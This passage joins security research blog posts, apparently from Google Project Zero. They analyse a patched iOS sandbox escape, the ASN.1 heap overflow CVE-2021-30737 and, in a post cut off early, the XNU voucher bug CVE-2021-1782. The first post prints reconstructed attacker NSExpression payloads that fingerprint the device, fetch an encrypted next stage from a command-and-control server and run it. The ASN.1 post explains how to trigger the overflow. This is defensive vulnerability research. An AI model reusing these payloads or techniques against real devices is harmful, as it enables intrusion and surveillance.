     SlideshowKit.framework/Frameworks/OpusFoundation.framework"

 ] load]

This causes the OpusFoundation library to be loaded. The exact reason for this is unclear, though the dependency graph of OpusFoundation does include AuthKit which is used by the next NSFunctionExpression. It's possible that this payload is generic and might also be expected to work when evaluated in processes where AuthKit isn't loaded.

Expression 3

[ [ [CaliCalendarAnonymizer sharedAnonymizedStrings]

    objectForKey:@"0" ]

  setQueryItems:

    [ [ [NSArray arrayWithObject:

                 [NSURLQueryItem

                    queryItemWithName: @"m"

                    value:[AKDevice _hardwareModel] ]

                                 ] arrayByAddingObject:

                 [NSURLQueryItem

                    queryItemWithName: @"v"

                    value:[AKDevice _buildNumber] ]

                                 ] arrayByAddingObject:

                 [NSURLQueryItem

                    queryItemWithName: @"u"

                    value:[NSString randomString]]

]

This grabs a reference to the NSURLComponents object stored under the "0" key in the global sharedAnonymizedStrings dictionary then parameterizes the HTTP query string with three values:

  [AKDevice _hardwareModel] returns a string like "iPhone12,3" which determines the exact device model.

  [AKDevice _buildNumber] returns a string like "18A8395" which in combination with the device model allows determining the exact firmware image running on the device.

  [NSString randomString] returns a decimal string representation of a 32-bit random integer like "394681493".

Expression 4

[ [CaliCalendarAnonymizer sharedAnonymizedString]

  setObject:

    [NSPropertyListSerialization

      propertyListWithData:

        [[[NSData

             dataWithContentsOfURL:

               [[[CaliCalendarAnonymizer sharedAnonymizedStrings]

                 objectForKey:@"0"] URL]

          ] AES128DecryptWithPassword:NSData(XXXX)

         ]  decompressedDataUsingAlgorithm:3 error:]

       options: Class(NSConstantValueExpression)

      format: Class(NSConstantValueExpression)

      errors:Class(NSConstantValueExpression)

  ]

  forKey:@"1"

]

The innermost reference to sharedAnonymizedStrings here grabs the NSURLComponents object and builds the full url from the query string parameters set last earlier. That url is passed to [NSData dataWithContentsOfURL:] to fetch a data blob from a remote server.

That data blob is decrypted with a hardcoded AES128 key, decompressed using zlib then parsed as a plist. That parsed plist is stored in the sharedAnonymizedStrings dictionary under the key "1".

Expression 5

[ [[NSThread mainThread] threadDictionary]

  addEntriesFromDictionary:

    [[CaliCalendarAnonymizer sharedAnonymizedStrings]

    objectForKey:@"1"]

]

This copies all the keys and values from the "next-stage" plist into the main thread's theadDictionary.

Expression 6

[ [NSExpression expressionWithFormat:

    [[[CaliCalendarAnonymizer sharedAnonymizedStrings]

      objectForKey:@"1"]

    objectForKey: @"a"]

  ]

  expressionValueWithObject:nil context:nil

]

Finally, this fetches the value of the "a" key from the next-stage plist, parses it as an NSExpression string and evaluates it.

End of the line

At this point we lose the ability to follow the exploit. The attackers have escaped the IMTranscoderAgent sandbox, requested a next-stage from the command and control server and executed it, all without any memory corruption or dependencies on particular versions of the operating system.

In response to this exploit iOS 15.1 significantly reduced the computational power available to NSExpressions:

NSExpression immediately forbids certain operations that have significant side effects, like creating and destroying objects. Additionally, casting string class names into Class objects with NSConstantValueExpression is deprecated.

In addition the PTSection and PTRow objects have been hardened with the following check added around the parsing of serialized NSPredicates:

if (os_variant_allows_internal_security_policies(

      "com.apple.PrototypeTools") {

  [coder decodeObjectOfClass:NSPredicate forKey:@"condition]

...

Object deserialization across trust boundaries still presents an enormous attack surface however.

Conclusion

Perhaps the most striking takeaway is the depth of the attack surface reachable from what would hopefully be a fairly constrained sandbox. With just two tricks (NSObject pointers in protocols and library loading gadgets) it's likely possible to attack almost every initWithCoder implementation in the dyld_shared_cache. There are presumably many other classes in addition to NSPredicate and NSExpression which provide the building blocks for logic-style exploits.

The expressive power of NSXPC just seems fundamentally ill-suited for use across sandbox boundaries, even though it was designed with exactly that in mind. The attack surface reachable from inside a sandbox should be minimal, enumerable and reviewable. Ideally only code which is required for correct functionality should be reachable; it should be possible to determine exactly what that exposed code is and the amount of exposed code should be small enough that manually reviewing it is tractable.

NSXPC requiring developers to explicitly add remotely-exposed methods to interface protocols is a great example of how to make the attack surface enumerable - you can at least find all the entry points fairly easily. However the support for inheritance means that the attack surface exposed there likely isn't reviewable; it's simply too large for anything beyond a basic example.

Refactoring these critical IPC boundaries to be more prescriptive - only allowing a much narrower set of objects in this case - would be a good step towards making the attack surface reviewable. This would probably require fairly significant refactoring for NSXPC; it's built around natively supporting the Objective-C inheritance model and is used very broadly. But without such changes the exposed attack surface is just too large to audit effectively.

The advent of Memory Tagging Extensions (MTE), likely shipping in multiple consumer devices across the ARM ecosystem this year, is a big step in the defense against memory corruption exploitation. But attackers innovate too, and are likely already two steps ahead with a renewed focus on logic bugs. This sandbox escape exploit is likely a sign of the shift we can expect to see over the next few years if the promises of MTE can be delivered. And this exploit was far more extensible, reliable and generic than almost any memory corruption exploit could ever hope to be.

Posted by Ian Beer, Google Project Zero

This blog post is my analysis of a vulnerability found by @xerub. Phrack published @xerub's writeup so go check that out first.

As well as doing my own vulnerability research I also spend time trying as best as I can to keep up with the public state-of-the-art, especially when details of a particularly interesting vulnerability are announced or a new in-the-wild exploit is caught. Originally this post was just a series of notes I took last year as I was trying to understand this bug. But the bug itself and the narrative around it are so fascinating that I thought it would be worth writing up these notes into a more coherent form to share with the community.

Background

On April 14th 2021 the Washington Post published an article on the unlocking of the San Bernardino iPhone by Azimuth containing a nugget of non-public information:

"Azimuth specialized in finding significant vulnerabilities. Dowd [...] had found one in open-source code from Mozilla that Apple used to permit accessories to be plugged into an iPhone’s lightning port, according to the person."

There's not that much Mozilla code running on an iPhone and even less which is likely to be part of such an attack surface. Therefore, if accurate, this quote almost certainly meant that Azimuth had exploited a vulnerability in the ASN.1 parser used by Security.framework, which is a fork of Mozilla's NSS ASN.1 parser.

I searched around in bugzilla (Mozilla's issue tracker) looking for candidate vulnerabilities which matched the timeline discussed in the Post article and narrowed it down to a handful of plausible bugs including: 1202868, 1192028, 1245528.

I was surprised that there had been so many exploitable-looking issues in the ASN.1 code and decided to add auditing the NSS ASN.1 parser as an quarterly goal.

A month later, having predictably done absolutely nothing more towards that goal, I saw this tweet from @xerub:

@xerub: CVE-2021-30737 is pretty bad. Please update ASAP. (Shameless excerpt from the full chain source code) 4:00 PM - May 25, 2021

The shameless excerpt reads:

// This is the real deal. Take no chances, take no prisoners! I AM THE STATE MACHINE!

And CVE-2021-30737, fixed in iOS 14.6 was described in the iOS release notes as:

Impact: Processing a maliciously crafted certification may lead to arbitrary code execution

Description: A memory corruption issue in the ASN.1 decoder was addressed by removing the vulnerable code.

Feeling slightly annoyed that I hadn't acted on my instincts as there was clearly something awesome lurking there I made a mental note to diff the source code once Apple released it which they finally did a few weeks later on opensource.apple.com in the Security package.

Here's the diff between the MacOS 11.4 and 11.3 versions of secasn1d.c which contains the ASN.1 parser:

The first change (removing the PORT_Free) is immaterial for Apple's use case as it's fixing a double free which doesn't impact Apple's build. It's only relevant when "allocator marks" are enabled and this feature is disabled.

The vulnerability must therefore be in sec_asn1d_parse_bit_string. We know from xerub's tweet that something goes wrong with a state machine, but to figure it out we need to cover some ASN.1 basics and then start looking at how the NSS ASN.1 state machine works.

ASN.1 encoding

ASN.1 is a Type-Length-Value serialization format, but with the neat quirk that it can also handle the case when you don't know the length of the value, but want to serialize it anyway! That quirk is only possible when ASN.1 is encoded according to Basic Encoding Rules (BER.) There is a stricter encoding called DER (Distinguished Encoding Rules) which enforces that a particular value only has a single correct encoding and disallows the cases where you can serialize values without knowing their eventual lengths.

This page is a nice beginner's guide to ASN.1. I'd really recommend skimming that to get a good overview of ASN.1.

There are a lot of built-in types in ASN.1. I'm only going to describe the minimum required to understand this vulnerability (mostly because I don't know any more than that!) So let's just start from the very first byte of a serialized ASN.1 object and figure out how to decode it:

This first byte tells you the type, with the least significant 5 bits defining the type identifier. The special type identifier value of 0x1f tells you that the type identifier doesn't fit in those 5 bits and is instead encoded in a different way (which we'll ignore):

Diagram showing first two bytes of a serialized ASN.1 object. The first byte in this case is the type and class identifier and the second is the length.

The upper two bits of the first byte tell you the class of the type: universal, application, content-specific or private. For us, we'll leave that as 0 (universal.)

Bit 6 is where the fun starts. A value of 1 tells us that this is a primitive encoding which means that following the length are content bytes which can be directly interpreted as the intended type. For example, a primitive encoding of the string "HELLO" as an ASN.1 printable string would have a length byte of 5 followed by the ASCII characters "HELLO". All fairly straightforward.

A value of 0 for bit 6 however tells us that this is a constructed encoding. This means that the bytes following the length are not the "raw" content bytes for the type but are instead ASN.1 encodings of one or more "chunks" which need to be individually parsed and concatenated to form the final output value. And to make things extra complicated it's also possible to specify a length value of 0 which means that you don't even know how long the reconstructed output will be or how much of the subsequent input will be required to completely build the output.

This final case (of a constructed type with indefinite length) is known as indefinite form. The end of the input which makes up a single indefinite value is signaled by a serialized type with the identifier, constructed, class and length values all equal to 0 , which is encoded as two NULL bytes.

ASN.1 bitstrings

Most of the ASN.1 string types require no special treatment; they're just buffers of raw bytes. Some of them have length restrictions. For example: a BMP string must have an even length and a UNIVERSAL string must be a multiple of 4 bytes in length, but that's about it.

ASN.1 bitstrings are strings of bits as opposed to bytes. You could for example have a bitstring with a length of a single bit (so either a 0 or 1) or a bitstring with a length of 127 bits (so 15 full bytes plus an extra 7 bits.)

Encoded ASN.1 bitstrings have an extra metadata byte after the length but before the contents, which encodes the number of unused bits in the final byte.

Diagram showing the complete encoding of a 3-bit bitstring. The length of 2 includes the unused-bits count byte which has a value of 5, indicating that only the 3 most-significant bits of the final byte are valid.

Parsing ASN.1

ASN.1 data always needs to be decoded in tandem with a template that tells the parser what data to expect and also provides output pointers to be filled in with the parsed output data. Here's the template my test program uses to exercise the bitstring code:

A SecASN1Item is a very simple wrapper around a buffer. We can provide a SecAsn1Item for the parser to use to return the parsed bitstring then call the parser:

NSS ASN.1 state machine

The state machine has two core data structures:

SEC_ASN1DecoderContext - the overall parsing context

sec_asn1d_state - a single parser state, kept in a doubly-linked list forming a stack of nested states

Here's a trimmed version of the state object showing the relevant fields:

The main engine of the parsing state machine is the method SEC_ASN1DecoderUpdate which takes a context object, raw input buffer and length:

The current state is stored in the context object's current field, and that current state's place field determines the current state which the parser is in. Those states are defined here:

The state machine loop switches on the place field to determine which method to call:

Each state method which could consume input is passed a pointer (buf) to the next unconsumed byte in the raw input buffer and a count of the remaining unconsumed bytes (len).

It's then up to each of those methods to return how much of the input they consumed, and signal any errors by updating the context object's status field.

The parser can be recursive: a state can set its ->place field to a state which expects to handle a parsed child state and then allocate a new child state. For example when parsing an ASN.1 sequence:

The current state sets its own next state to duringSequence then calls sec_asn1d_push_state which allocates a new state object, with a new template and a copy of the parent's dest field.

sec_asn1d_push_state updates the context's current field such that the next loop around SEC_ASN1DecoderUpdate will see this child state as the current state:

Note that the initial value of the place field (which determines the current state) of the newly allocated child is determined by the template. The final state in the state machine path followed by that child will then be responsible for popping itself off the state stack such that the duringSequence state can be reached by its parent to consume the results of the child.

Buffer management

The buffer management is where the NSS ASN.1 parser starts to get really mind bending. If you read through the code you will notice an extreme lack of bounds checks when the output buffers are being filled in - there basically are none. For example, sec_asn1d_parse_leaf which copies the raw encoded string bytes for example simply memcpy's into the output buffer with no bounds checks that the length of the string matches the size of the buffer.

Rather than using explicit bounds checks to ensure lengths are valid, the memory safety is instead supposed to be achieved by relying on the fact that decoding valid ASN.1 can never produce output which is larger than its input.

That is, there are no forms of decompression or input expansion so any parsed output data must be equal to or shorter in length than the input which encoded it. NSS leverages this and over-allocates all output buffers to simply be as large as their inputs.

For primitive strings this is quite simple: the length and input are provided so there's nothing really to go that wrong. But for constructed strings this gets a little fiddly...

One way to think of constructed strings is as trees of substrings, nested up to 32-levels deep. Here's an example:

An outer constructed definite length string with three children: a primitive string "abc", a constructed indefinite length string and a primitive string "ghi". The constructed indefinite string has two children, a primitive string "def" and an end-of-contents marker.

We start with a constructed definite length string. The string's length value L is the complete size of the remaining input which makes up this string; that number of input bytes should be parsed as substrings and concatenated to form the parsed output.

At this point the NSS ASN.1 string parser allocates the output buffer for the parsed output string using the length L of that first input string. This buffer is an over-allocated worst case. The part which makes it really fun though is that NSS allocates the output buffer then promptly throws away that length! This might not be so obvious from quickly glancing through the code though. The buffer which is allocated is stored as the Data field of a buffer wrapper type:

(Recall that we passed in a pointer to a SecAsn1Item in the template; it's the Data field of that which gets filled in with the allocated string buffer pointer here. This type is very slightly different between NSS and Apple's fork, but the difference doesn't matter here.)

That Length field is not the size of the allocated Data buffer. It's a (type-specific) count which determines how many bits or bytes of the buffer pointed to by Data are valid. I say type-specific because for bit-strings Length is stored in units of bits but for other strings it's in units of bytes. (CVE-2016-1950 was a bug in NSS where the code mixed up those units.)

Rather than storing the allocated buffer size along with the buffer pointer, each time a substring/child string is encountered the parser walks back up the stack of currently-being-parsed states to find the inner-most definite length string. As it's walking up the states it examines each state to determine how much of its input it has consumed in order to be able to determine whether it's the case that the current to-be-parsed substring is indeed completely enclosed within the inner-most enclosing definite length string.

If that sounds complicated, it is! The logic which does this is here, and it took me a good few days to pull it apart enough to figure out what this was doing:

It first walks up the state stack to find the innermost constructed definite state and uses its state->pending value as an upper bound. It then walks the state stack again and for each in-between state subtracts from that original value of pending how many bytes could have been consumed by those in between states. It's pretty clear that the pending value is therefore vitally important; it's used to determine an upper bound so if we could mess with it this "bounds check" could go wrong.

After figuring out that this was pretty clearly the only place where any kind of bounds checking takes place I looked back at the fix more closely.

We know that sec_asn1d_parse_bit_string is only the function which changed:

The highlighted region of the function are the characters which were removed by the patch. This function is meant to return the number of input bytes (pointed to by buf) which it consumed and my initial hunch was to notice that the patch removed a path through this function where you could get the count of input bytes consumed and pending out-of-sync. It should be the case that when they return 1 in the removed code they also decrement state->pending, as they do in the other place where this function returns 1.

I spent quite a while trying to figure out how you could actually turn that into something useful but in the end I don't think you can.

So what else is going on here?

This state is reached with buf pointing to the first byte after the length value of a primitive bitstring. state->contents_length is the value of that parsed length. Bitstrings, as discussed earlier, are a unique ASN.1 string type in that they have an extra meta-data byte at the beginning (the unused-bits count byte.) It's perfectly fine to have a definite zero-length string - indeed that's (sort-of) handled earlier than this in the prepareForContents state, which short-circuits straight to afterEndOfContents:

Here they're detecting a definite-length string type with a content length of 0. But this doesn't handle the edge case of a bitstring which consists only of the unused-bits count byte. The state->contents_length value of that bitstring will be 1, but it doesn't actually have any "contents".

It's this case which the (state->contents_length == 1) conditional in sec_asn1d_parse_bit_string matches:

By setting state->place to beforeEndOfContents they are again trying to short-circuit the state machine to skip ahead to the state after the string contents have been consumed. But here they take an additional step which they didn't take when trying to achieve exactly the same thing in prepareForContents. In addition to updating state->place they also NULL out the dest SecAsn1Item's Data field and set the Length to 0.

I mentioned earlier that the new child states which are allocated to recursively parse the sub-strings of constructed strings get a copy of the parent's dest field (which is a pointer to a pointer to the output buffer.) This makes sense: that output buffer is only allocated once then gets recursively filled-in in a linear fashion by the children. (Technically this isn't actually how it works if the outermost string is indefinite length, there's separate handling for that case which instead builds a linked-list of substrings which are eventually concatenated, see sec_asn1d_concat_substrings.)

If the output buffer is only allocated once, what happens if you set Data to NULL like they do here? Taking a step back, does that actually make any sense at all?

No, I don't think it makes any sense. Setting Data to NULL at this point should at the very least cause a memory leak, as it's the only pointer to the output buffer.

The fun part though is that that's not the only consequence of NULLing out that pointer. item->Data is used to signal something else.

Here's a snippet from prepare_for_contents when it's determining whether there's enough space in the output buffer for this substring

As the comment implies, if both item->Data is NULL at this point and state->substring is true, then (they believe) it must be the case that they are currently parsing a substring of an outer-level indefinite string, which has no definite-sized buffer already allocated. In that case the meaning of the item->Data pointer is different to that which we describe earlier: it's merely a temporary buffer meant to hold only this substring. Just above here alloc_len was set to the content length of this substring; and for the outer-definite-length case it's vitally important that alloc_len then gets set to 0 here (which is really indicating that a buffer has already been allocated and they must not allocate a new one.)

To emphasize the potentially subtle point: the issue is that using this conjunction (state->substring && !item->Data) for determining whether this a substring of a definite length or outer-level-indefinite string is not the same as the method used by the convoluted bounds checking code we saw earlier. That method walks up the current state stack and checks the indefinite bits of the super-strings to determine whether they're processing a substring of an outer-level-indefinite string.

Putting that all together, you might be able to see where this is going... (but it is still pretty subtle.)

Assume that we have an outer definite-length constructed bitstring with three primitive bitstrings as substrings:

Upon encountering the first outer-most definite length constructed bitstring, the code will allocate a fixed-size buffer, large enough to store all the remaining input which makes up this string, which in this case is 42 bytes. At this point dest->Data points to that buffer.

They then allocate a child state, which gets a copy of the dest pointer (not a copy of the dest SecAsn1Item object; a copy of a pointer to it), and proceed to parse the first child substring.

This is a primitive bitstring with a length of 1 which triggers the vulnerable path in sec_asn1d_parse_bit_string and sets dest->Data to NULL. The state machine skips ahead to beforeEndOfContents then eventually the next substring gets parsed - this time with dest->Data == NULL.

Now the logic goes wrong in a bad way and, as we saw in the snippet above, a new dest->Data buffer gets allocated which is the size of only this substring (2 bytes) when in fact dest->Data should already point to a buffer large enough to hold the entire outer-level-indefinite input string. This bitstring's contents then get parsed and copied into that buffer.

Now we come to the third substring. dest->Data is no longer NULL; but the code now has no way of determining that the buffer was in fact only (erroneously) allocated to hold a single substring. It believes the invariant that item->Data only gets allocated once, when the first outer-level definite length string is encountered, and it's that fact alone which it uses to determine whether dest->Data points to a buffer large enough to have this substring appended to it. It then happily appends this third substring, writing outside the bounds of the buffer allocated to store only the second substring.

This gives you a great memory corruption primitive: you can cause allocations of a controlled size and then overflow them with an arbitrary number of arbitrary bytes.

Here's an example encoding for an ASN.1 bitstring which triggers this issue:

Why wasn't this found by fuzzing?

This is a reasonable question to ask. This source code is really really hard to audit, even with the diff it was at least a week of work to figure out the true root cause of the bug. I'm not sure if I would have spotted this issue during a code audit. It's very broken but it's quite subtle and you have to figure out a lot about the state machine and the bounds-checking rules to see it - I think I might have given up before I figured it out and gone to look for something easier.

But the trigger test-case is neither structurally complex nor large, and feels within-grasp for a fuzzer. So why wasn't it found? I'll offer two points for discussion:

Perhaps it's not being fuzzed?

Or at least, it's not being fuzzed in the exact form which it appears in Apple's Security.framework library. I understand that both Mozilla and Google do fuzz the NSS ASN.1 parser and have found a bunch of vulnerabilities, but note that the key part of the vulnerable code ("|| (state->contents_length == 1" in sec_asn1d_parse_bit_string) isn't present in upstream NSS (more on that below.)

Can it be fuzzed effectively?

Even if you did build the Security.framework version of the code and used a coverage guided fuzzer, you might well not trigger any crashes. The code uses a custom heap allocator and you'd have to either replace that with direct calls to the system allocator or use ASAN's custom allocator hooks. Note that upstream NSS does do that, but as I understand it, Apple's fork doesn't.

History

I'm always interested in not just understanding how a vulnerability works but how it was introduced. This case is a particularly compelling example because once you understand the bug, the code construct initially looks extremely suspicious. It only exists in Apple's fork of NSS and the only impact of that change is to introduce a perfect memory corruption primitive. But let's go through the history of the code to convince ourselves that it is much more likely that it was just an unfortunate accident:

The earliest reference to this code I can find is this, which appears to be the initial checkin in the Mozilla CVS repo on March 31, 2000:

On August 24th, 2001 the form of the code changed to something like the current version, in this commit with the message "Memory leak fixes.":

This commit added the item->data = NULL line but here it's only reachable when pending == 0. I am fairly convinced that this was dead code and not actually reachable (and that the PORT_Assert which they commented out was actually valid.)

The beforeBitString state (which leads to the sec_asn1d_parse_bit_string method being called) will always be preceded by the afterLength state (implemented by sec_asn1d_prepare_for_contents.) On entry to the afterLength state state->contents_length is equal to the parsed length field and  sec_asn1d_prepare_for_contents does:

state->pending = state->contents_length;

So in order to reach sec_asn1d_parse_bit_string with state->pending == 0, state->contents_length would also need to be 0 in sec_asn1d_prepare_for_contents.

That means that in the if/else decision tree below, at least one of the two conditionals must be true:

yet it is required that neither of those be true in order to reach the final else which is the only path to reaching sec_asn1d_parse_bit_string via the beforeBitString state:

So at that point (24 August 2001) the NSS codebase had some dead code which looked like it was trying to handle parsing an ASN.1 bitstring which didn't have an unused-bits byte. As we've seen in the rest of this post though, that handling is quite wrong, but it didn't matter as the code was unreachable.

The earliest reference to Apple's fork of that NSS code I can find is in the SecurityNssAsn1-11 package for OS X 10.3 (Panther) which would have been released October 24th, 2003. In that project we can find a CHANGES.apple file which tells us a little more about the origins of Apple's fork:

General Notes

-------------

1. This module, SecurityNssAsn1, is based on the Netscape Security

   Services ("NSS") portion of the Mozilla Browser project. The

   source upon which SecurityNssAsn1 was based was pulled from

   the Mozilla CVS repository, top of tree as of January 21, 2003.

   The SecurityNssAsn1 project contains only those portions of NSS

   used to perform BER encoding and decoding, along with minimal

   support required by the encode/decode routines.

2. The directory structure of SecurityNssAsn1 differs significantly

   from that of NSS, rendering simple diffs to document changes

   unwieldy. Diffs could still be performed on a file-by-file basis.

3. All Apple changes are flagged by the symbol __APPLE__, either

   via "#ifdef __APPLE__" or in a comment.

That document continues on to outline a number of broad changes which Apple made to the code, including reformatting the code and changing a number of APIs to add new features. We also learn the date at which Apple forked the code (January 21, 2003) so we can go back through a github mirror of the mozilla CVS repository to find the version of secasn1d.c as it would have appeared then and diff them.

From that diff we can see that the Apple developers actually made fairly significant changes in this initial import, indicating that this code underwent some level of review prior to importing it. For example:

They were pretty clearly looking for potential correctness issues with the code while they were refactoring it. The example shown above is a non-trivial change and one which persists to this day. (And I have no idea whether the NSS or Apple version is correct!) Reading the diff we can see that not every change ended up being marked with #ifdef __APPLE__ or a comment. They also made this change to sec_asn1d_parse_bit_string:

In the context of all the other changes in this initial import this change looks much less suspicious than I first thought. My guess is that the Apple developers thought that Mozilla had missed handling the case of a bitstring with only the unused-bits bytes and attempted to add support for it. It looks like the state->pending == 0 conditional must have been Mozilla's check for handling a 0-length bitstring so therefore it was quite reasonable to think that the way it was handling that case by NULLing out item->data was the right thing to do, so it must also be correct to add the contents_length == 1 case here.

In reality the contents_length == 1 case was handled perfectly correctly anyway in sec_asn1d_parse_more_bit_string, but it wasn't unreasonable to assume that it had been overlooked based on what looked like a special case handling for the missing unused-bits byte in sec_asn1d_parse_bit_string.

The fix for the bug was simply to revert the change made during the initial import 18 years ago, making the dangerous but unreachable code unreachable once more:

Conclusions

Forking complicated code is complicated. In this case it took almost two decades to in the end just revert a change made during import. Even verifying whether this revert is correct is really hard.

The Mozilla and Apple codebases have continued to diverge since 2003. As I discovered slightly too late to be useful, the Mozilla code now has more comments trying to explain the decoder's "novel" memory safety approach.

Rewriting this code to be more understandable (and maybe even memory safe) is also distinctly non-trivial. The code doesn't just implement ASN.1 decoding; it also has to support safely decoding incorrectly encoded data, as described by this verbatim comment for example:

 /*

  * Okay, this is a hack.  It *should* be an error whether

  * pending is too big or too small, but it turns out that

  * we had a bug in our *old* DER encoder that ended up

  * counting an explicit header twice in the case where

  * the underlying type was an ANY.  So, because we cannot

  * prevent receiving these (our own certificate server can

  * send them to us), we need to be lenient and accept them.

  * To do so, we need to pretend as if we read all of the

  * bytes that the header said we would find, even though

  * we actually came up short.

  */

Verifying that a rewritten, simpler decoder also handles every hard-coded edge case correctly probably leads to it not being so simple after all.

Posted by Ian Beer, Google Project Zero

This blog post is my analysis of a vulnerability exploited in the wild and patched in early 2021. Like the writeup published last week looking at an ASN.1 parser bug, this blog post is based on the notes I took as I was analyzing the patch and trying to understand the XNU vouchers subsystem. I hope that this writeup serves as the missing documentation for how some of the internals of the voucher subsystem works and its quirks which lead to this vulnerability.

CVE-2021-1782 was fixed in iOS 14.4, as noted by @s1guza on twitter:

This vulnerability was fixed on January 26th 2021, and Apple updated the iOS 14.4 release notes on May 28th 2021 to indicate that the issue may have been actively exploited:

Vouchers

What exactly is a voucher?

The kernel code has a concise description:

Vouchers are a reference counted immutable (once-created) set of indexes to particular resource manager attribute values (which themselves are reference counted).

That definition is technically correct, though perhaps not all that helpful by itself.

To actually understand the root cause and exploitability of this vulnerability is going to require covering a lot of the voucher codebase. This part of XNU is pretty obscure, and pretty complicated.

A voucher is a reference-counted table of keys and values. Pointers to all created vouchers are stored in the global ivht_bucket hash table.

For a particular set of keys and values there should only be one voucher object. During the creation of a voucher there is a deduplication stage where the new voucher is compared against all existing vouchers in the hashtable to ensure they remain unique, returning a reference to the existing voucher if a duplicate has been found.

Here's the structure of a voucher:

The voucher codebase is written in a very generic, extensible way, even though its actual use and supported feature set is quite minimal.

Keys

Keys in vouchers are not arbitrary. Keys are indexes into a voucher's iv_table; a value's position in the iv_table table determines what "key" it was stored under. Whilst the vouchers codebase supports the runtime addition of new key types this feature isn't used and there are just a small number of fixed, well-known keys:

The iv_inline_table in an ipc_voucher has 8 entries. But of those, only four are actually supported and have any associated functionality. The ATM voucher attributes are deprecated and the code supporting them is gone so only IMPORTANCE (2), BANK (3), PTHPRIORITY (4) and USER_DATA (7) are valid keys. There's some confusion (perhaps on my part) about when exactly you should use the term key and when attribute; I'll use them interchangeably to refer to these key values and the corresponding "types" of values which they manage. More on that later.

Values

Each entry in a voucher iv_table is an iv_index_t:

Each value is again an index; this time into a per-key cache of values, abstracted as a "Voucher Attribute Cache Control Object" represented by this structure:

These are accessed indirectly via another global table:

(Again, the comments in the code indicate that in the future that this table may grow in size and allow attributes to be managed in userspace, but for now it's just a fixed size array.)

Each element in that table has this structure:

Both the iv_global_table and each voucher's iv_table are indexed by (key-1), not key, so the userdata entry is [6], not [7], even though the array still has 8 entries.

The ipc_voucher_attr_control_t provides an abstract interface for managing "values" and the ipc_voucher_attr_manager_t provides the "type-specific" logic to implement the semantics of each type (here by type I mean "key" or "attr" type.) Let's look more concretely at what that means. Here's the definition of ipc_voucher_attr_manager_t:

ivam_flags is an int containing some flags; the other five fields are function pointers which define the semantics of the particular attr type. Here's the ipc_voucher_attr_manager structure for the user_data type:

Those five function pointers are the only interface from the generic voucher code into the type-specific code. The interface may seem simple but there are some tricky subtleties in there; we'll get to that later!

Let's go back to the generic ipc_voucher_attr_control structure which maintains the "values" for each key in a type-agnostic way. The most important field is ivac_entry_t  ivac_table, which is an array of ivac_entry_s's. It's an index into this table which is stored in each voucher's iv_table.

Here's the structure of each entry in that table:

ivace_refs is a reference count for this table index. Note that this entry is inline in an array; so this reference count going to zero doesn't cause the ivac_entry_s to be free'd back to a kernel allocator (like the zone allocator for example.) Instead, it moves this table index onto a freelist of empty entries. The table can grow but never shrink.

Table entries which aren't free store a type-specific "handle" in ivace_value. Here's the typedef chain for that type:

The handle is a uint64_t but in reality the attrs can (and do) store pointers there, hidden behind casts.

A guarantee made by the attr_control is that there will only ever be one (live) ivac_entry_s for a particular ivace_value. This means that each time a new ivace_value needs an ivac_entry the attr_control's ivac_table needs to be searched to see if a matching value is already present. To speed this up in-use ivac_entries are linked together in hash buckets so that a (hopefully significantly) shorter linked-list of entries can be searched rather than a linear scan of the whole table. (Note that it's not a linked-list of pointers; each link in the chain is an index into the table.)

Userdata attrs

user_data is one of the four types of supported, implemented voucher attr types. It's only purpose is to manage buffers of arbitrary, user controlled data. Since the attr_control performs deduping only on the ivace_value (which is a pointer) the userdata attr manager is responsible for ensuring that userdata values which have identical buffer values (matching length and bytes) have identical pointers.

To do this it maintains a hash table of user_data_value_element structures, which wrap a variable-sized buffer of bytes:

Each inline e_data buffer can be up to 16KB. e_hash_link stores the hash-table bucket list pointer.

e_made is not a simple reference count. Looking through the code you'll notice that there are no places where it's ever decremented. Since there should (nearly) always be a 1:1 mapping between an ivace_entry and a user_data_value_element this structure shouldn't need to be reference counted. There is however one very fiddly race condition (which isn't the race condition which causes the vulnerability!) which necessitates the e_made field. This race condition is sort-of documented and we'll get there eventually...

Recipes

The host_create_mach_voucher host port MIG (Mach Interface Generator) method is the userspace interface for creating vouchers: